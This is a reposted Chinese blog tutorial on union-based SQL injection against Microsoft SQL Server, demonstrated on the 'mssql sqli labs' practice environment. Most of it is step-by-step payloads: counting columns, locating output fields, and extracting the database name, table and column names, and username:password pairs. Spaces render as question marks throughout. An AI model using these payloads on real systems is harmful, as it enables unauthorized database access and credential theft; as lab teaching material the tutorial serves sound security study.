SQL Server从0到1——利用方式

2024-01-03 10:31:30

union注入

查看字段数:

order?by?3

原理

如果字段数超过输出的字段数就会报错,通过报错来确定有几个字段 下面以mssql sqli labs为例:

判断出有3个字段 查看回显位置:

union?select?1,2,3

可以判断有回显的字段未2,3字段

?

爆库名:

union?select?1,(select?db_name()),3--+

爆表名:

union?all?select?1,(select?top?1?name?from?test.dbo.sysobjects?where?xtype?=?'U'),3--+

?

union?all?select?1,(select?top?1?name?from?test.dbo.sysobjects?where?xtype='U'?and?name?not?in?('emalis')),3--+

爆列名:

union?select?1,(select?top?1?name?from?test.dbo.syscolumns?where?id=(select?id?from?test.dbo.sysobjects?where?name?=?'users')?and?name<>'id'),3--+

union?select?1,(select?top?1?name?from?test.dbo.syscolumns?where?id=(select?id?from?test.dbo.sysobjects?where?name?=?'users'?)?and?name?not?in('id','username')),3--+

?

爆数据:

union?select?1,2,(select?top?1?username%2B':'%2Bpassword?from?test.dbo.users)--+
如果要直接使用+号需要进行url编码%2B,不然会被解析为空格,--+中的+就是空格

文章来源:https://blog.csdn.net/2301_80520893/article/details/135285351
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。